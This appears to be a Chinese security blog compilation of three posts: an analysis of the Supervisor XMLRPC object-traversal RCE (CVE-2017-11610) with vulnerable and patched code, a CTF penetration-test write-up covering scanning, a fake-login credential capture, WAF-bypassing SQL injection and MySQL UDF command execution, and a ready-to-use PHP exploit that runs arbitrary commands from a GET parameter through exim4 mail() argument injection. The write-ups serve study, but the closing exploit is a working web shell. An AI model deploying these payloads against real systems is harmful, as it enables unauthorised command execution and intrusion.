CVE-2017-11610: Supervisor Object Traversal To RCE
TL; DR
惊闻 Supervisor 爆出一个 RCE,粗略的跟了一下代码,是 Object Traversal 造成的。Supervisor 在处理 XMLRPC 的过程中,通过 getattr 获取定义的 namespace 的属性或者方法,其中,可以通过逐层访问其命名空间内所有的属性,最终调用 execute 方法,导致 RCE。
分析
开启 supervisord 时,进入 options.py,会调用到 make_http_servers
方法,
def openhttpservers(self, supervisord):
try:
self.httpservers = self.make_http_servers(supervisord)
self.unlink_socketfiles = True
except socket.error as why:
接着 make_http_servers
会将各种 RPC Interface 加入命名空间:
subinterfaces = []
for name, factory, d in options.rpcinterface_factories:
try:
inst = factory(supervisord, **d)
except:
tb = traceback.format_exc()
options.logger.warn(tb)
raise ValueError('Could not make %s rpc interface' % name)
subinterfaces.append((name, inst))
options.logger.info('RPC interface %r initialized' % name)
subinterfaces.append(('system',
SystemNamespaceRPCInterface(subinterfaces)))
xmlrpchandler = supervisor_xmlrpc_handler(supervisord, subinterfaces)
如果配置文件定义了 inet_http_server
则会启动一个 HTTP XML RPC,否则只会创建一个 unix socket。
Supervisor 的 RPC 有两个 namespace,一个是 system,提供了部分诸如 listMethods
之类的方法;另外一个是 supervisord,提供了很多 supervisor 相关的方法。具体可以看代码,不再赘述。
当然,以上只是初始化 XMLRPC。通过 git reset --hard 2c601dbe
返回到修复漏洞之前的代码,重点在 xmlrpc.py 里:
def traverse(ob, method, params):
path = method.split('.')
for name in path:
if name.startswith('_'):
# security (don't allow things that start with an underscore to
# be called remotely)
raise RPCError(Faults.UNKNOWN_METHOD)
ob = getattr(ob, name, None)
if ob is None:
raise RPCError(Faults.UNKNOWN_METHOD)
try:
return ob(*params)
except TypeError:
raise RPCError(Faults.INCORRECT_PARAMETERS)
首先,传入的 method 会被 split by '.',得到一个调用链,接着用 for 循环逐层 getattr,赋值给 ob,最终调用 ob。
这里可以得到几点:
- supervisor 未限制调用的层数
- 调用链的最终一个会被当作函数调用(path[-1])
- 参数无限制
那么,通过各个层级寻找可以利用的点就可以执行任意命令了。
PoC
https://github.com/Supervisor/supervisor/issues/964 给出的是 supervisor.supervisord.options.execve
。
用过 pdb 调试,可以得到 supervisord 下存在 options 属性,options 里面存在 execve 方法:
最终调用:
其中要求第二个参数为 tuple / list,随便构造即可。
最终:
Supervisor 修复的也很鸡贼:
def traverse(ob, method, params):
dotted_parts = method.split('.')
# security (CVE-2017-11610, don't allow object traversal)
if len(dotted_parts) != 2:
raise RPCError(Faults.UNKNOWN_METHOD)
namespace, method = dotted_parts
# security (don't allow methods that start with an underscore to
# be called remotely)
if method.startswith('_'):
raise RPCError(Faults.UNKNOWN_METHOD)
rpcinterface = getattr(ob, namespace, None)
if rpcinterface is None:
raise RPCError(Faults.UNKNOWN_METHOD)
func = getattr(rpcinterface, method, None)
if not isinstance(func, types.MethodType):
raise RPCError(Faults.UNKNOWN_METHOD)
try:
return func(*params)
except TypeError:
raise RPCError(Faults.INCORRECT_PARAMETERS)
有以下几点:
- 限制了 split by '.' 后长度只能为 2
- 去掉 for 循环,只有两次 getattr;第一次选择 namespace,第二次选择方法
- 验证了方法类型为类方法
昨晚看了一下,这样改后,方法不能以 _ 开头,但是 namespace 是可以的,于是可以访问其中的 __init__
、__doc__
,虽然并没有什么卵用。
我感觉这种 Object Traversal,在动态语言中会很常见。包括 Java 中也会有任意实例化类的漏洞存在,PHP 中也见到很多次(包括 call_user_func)。之后在这个方向上进行漏洞挖掘,估计会有不小的收获。
CUIT CTF Pentest Writeup
开始打这个比赛的时候,看到渗透题还没人做,以为是刚开始比赛呢,结果没想到已经是尾声了[facepalm]。
渗透题挺好玩,常规渗透流程即可。
0x01 FLAG 1
dnsbrute 跑一下:
Domain,Type,Record
rootk.pw,CNAME,rootk.pw.cname.yunjiasu-cdn.net
mail.rootk.pw,CNAME,mail.rootk.pw.cname.yunjiasu-cdn.net
ns2.rootk.pw,A,115.29.36.83
ns1.rootk.pw,A,115.29.36.83
NS 服务器,看起来就能日,nmap:
Nmap scan report for 115.29.36.83
Host is up (0.022s latency).
Not shown: 65526 closed ports, 3 filtered ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
111/tcp open rpcbind
443/tcp open https
8080/tcp open http-proxy
40403/tcp open unknown
打开 8080 和 443,一样的东西:
扫描目录:
[01:31:15] 200 - 0B - /config.php
[01:31:15] 200 - 0B - /config.php
[01:31:17] 301 - 312B - /css -> https://115.29.36.83/css/
[01:31:20] 200 - 73B - /edit.php
[01:31:21] 403 - 287B - /error/
[01:31:23] 301 - 314B - /fonts -> https://115.29.36.83/fonts/
[01:31:27] 200 - 6KB - /index.php
[01:31:28] 200 - 6KB - /index.php/login/
[01:31:32] 200 - 73B - /main.php
[01:31:48] 301 - 315B - /static -> https://115.29.36.83/static/
[01:31:51] 301 - 314B - /tools -> https://115.29.36.83/tools/
但是 443 可以列目录,打开 tools 目录:
有个 bot.py
import requests
url = 'http://10.211.55.3/program/sctf-web-111/admin_log/index.php'
r = requests.get(url)
if 'action="index.php"' in r.content and 'name="user"' in r.content and 'name="pass"' in r.content:
print 'Ok!'
data = {
'user':'admin',
'pass':'123456'
}
res = requests.post(url,data=data)
if 'Login Successed' in res.content:
print 'Login Successed'
else:
print 'Error!'
10.211.55.3,这个是 Parallels Desktop 的 IP。反正看起来就是个测试服务有没有挂的东西吧。
看了下 edit.php,发现可以在未登录的情况下修改 IP。这里是个预期外的解,但是既然出题人写出来的漏洞,那就不客气啦。
联想到 bot.py,那么我在服务器上监听了 80,看看有什么返回内容:
GET 了一个域名 admin_log.rootk.pw。把页面扒下来,然后用 PHP 返回页面内容:
得到结果:
登陆不进去,问了下出题人,他说“输入错误密码为了防止钓鱼”。感觉这里有点脑洞了其实。
加上一句代码:
if ($_POST['user'] == 'test') {
echo "<script>alert('Username Or Password Error !');</script>";
}
然后拿到密码:
user=sycMovieAdmin&pass=H7e27PQaHQ8Uefgj
搞定:
0x02 NO FLAG 2
这个我没想做了,因为比赛已经快结束了。第一道题做完大概晚上七点半左右。
从注入开始:
http://www.rootk.pw/single.php?id=1
id 可以注入,但是有一个百度的 WAF 拦着。fuzz:
发现程序过滤了空字符:
这样就可以 bypass 百度的 WAF:
SELECT -> SE LECT
因为过滤了空格:
空格 -> / **/
写一个 sqlmap 的 tamper:
跑了一堆数据,没啥用。
既然是模拟 root,估计是 UDF。但是需要写文件。又因为文件很大,还要分段写入:
然后导出到 plugin_dir(payload 找不到了,大概就是 concat 然后 into dumpfile):
然后 create function,接着可以执行了:
然后在服务器上翻到了一些东西:
登陆邮箱拿到了网络拓扑图:
然后找到 bakup 服务器是 10.10.10.200,开了 80 端口,存在 PHP 服务。
目前我的进度就到此为止。
0x03 FLAG 2
剩下是出题人说的思路,和我想的差不多,如果时间够的话应该就能搞定了。
- 通过 fastcgi 打 10.10.10.200
- 反弹一个 shell,然后代理进入内网
- 通过 MS17-010 打 Windows 2008
- 应该就能拿到 FLAG 2 了
Yet Another PHP disable_functions Bypass
Dawid Golunski 放出了 Wordpress 的 0day,虽然难用,但是里面利用 mail 的姿势非常有趣。
水一篇文好了,其实思路很简单,就是利用 mail 的命令注入来绕过 disable_functions 执行命令。
条件限制:
- sendmail 为 exim4
Exploit
<?php
$command_file = "/tmp/cmdMhhaJ8aM";
$output_file = "/tmp/outputMhhaJ8aM";
$cmd = $argv[1] ? $argv[1] : $_GET['cmd'];
$cmd = "$cmd > $output_file";
file_put_contents($command_file, $cmd);
mail("root@localhost", "aaa", "bbb", null,
'-fwordpress@xenial(tmp1 -be ${run{/bin/sh${substr{10}{1}{$tod_log}}'.$command_file.'}} tmp2)');
echo file_get_contents($output_file);
unlink($output_file);
unlink($command_file);